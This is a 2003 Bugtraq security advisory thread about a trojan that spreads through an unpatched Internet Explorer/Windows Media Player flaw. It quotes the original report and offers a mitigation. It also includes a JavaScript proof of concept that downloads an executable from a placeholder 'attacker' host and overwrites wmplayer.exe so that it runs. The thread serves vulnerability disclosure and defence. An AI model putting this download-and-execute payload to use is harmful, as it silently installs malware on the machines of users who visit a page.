bugtraq - Re: a dangerous fast spreading (yet simple) trojan horse.

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Message-ID: <20031027174719.11875.qmail@sf-www1-symnsj.securityfocus.com>
Date: 27 Oct 2003 17:47:19 -0000
From: K-OTiK Security <Special-Alerts@...tik.com>
To: bugtraq@...urityfocus.com
Subject: Re: a dangerous fast spreading (yet simple) trojan horse.


In-Reply-To: <000f01c39ced$e5abce50$0900000a@...testar>

it uses a well known IE unpatched vulnerability discovered by jelmer on Sep 11 2003 "Windows Media Player & Internet Explorer File Download and Execution" :

http://www.k-otik.com/WMPLAYER-TEST/
http://www.securityfocus.com/archive/1/337285/2003-09-10/2003-09-16/2
http://ip3e83566f.speed.planet.nl/hacked-by-chinese/5.htm

To prevent this exploit : Disable Active Scripting 

Regards. 
K-Otik Staff /// http://www.k-otik.com

----------------------- POC -------------------------
    var x = new ActiveXObject("Microsoft.XMLHTTP"); 
    x.Open("GET", "http://attacker/trojan.exe",0); 
    x.Send(); 
    
    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);

    s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
    location.href = "mms://";
-----------------------------------------------------

>From: "Gadi Evron" <ge@...tistical.reprehensible.net>
>Subject: a dangerous fast spreading (yet simple) trojan horse.
>Date: Mon, 27 Oct 2003 16:52:57 -0800
>
>I usually do not email about "new" trojan horses unless they have
>something "special" about them, for there are a lot of them coming out
>non-stop. However, with this one,
>Although quite simple, is very destructive and spreading at incredible
>speed.
>
>The trojan horse spreads by people going to different URL's to download
>a *.jpg (started with britney.jpg).
>
>The jpeg is actually an HTML file, and when the web browser receives it,
>it thinks that it is a server error message for the file not existing,
>and loads the page.
>
>In the page we find a javascript line, that using hex encoding in an
>attempt to hide what it does, downloads patch.exe and replaces
>mplayer.exe with the new file.
>patch.exe connects to the mIRC DDE server, causing mIRC to spam, and
>then it start ruining the system's registry. Starting to delete keys at
>root and enumerating from there, one at a time.
>What I signify, and forgive my language, as an "Hump and dump" trojan
>horse.
>
>This reminds me of the first patch.exe trojan horse, that was purely a
>destructive file - back in 95/96.
>
>I would also like to commend angelfire for shutting down the first web
>page this appeared on very quickly. They always respond to abuse in a
>timely manner. The geocities page is still up last time I checked.
>
>Not very complicated, but interesting, and very dangerous.
>
>      Gadi Evron (i.e. ge),
>      ge@...uxbox.org.
>
>--------
>gevron@...vision.net.il
>PGP Key: 2048/2048 (Size) 0x2D3D6741 (ID).
>Fingerprint: 0EB3 00BC 974B 3C2B 336D 6486 ECA5 2D0D 2D3D 6741.
>
>
>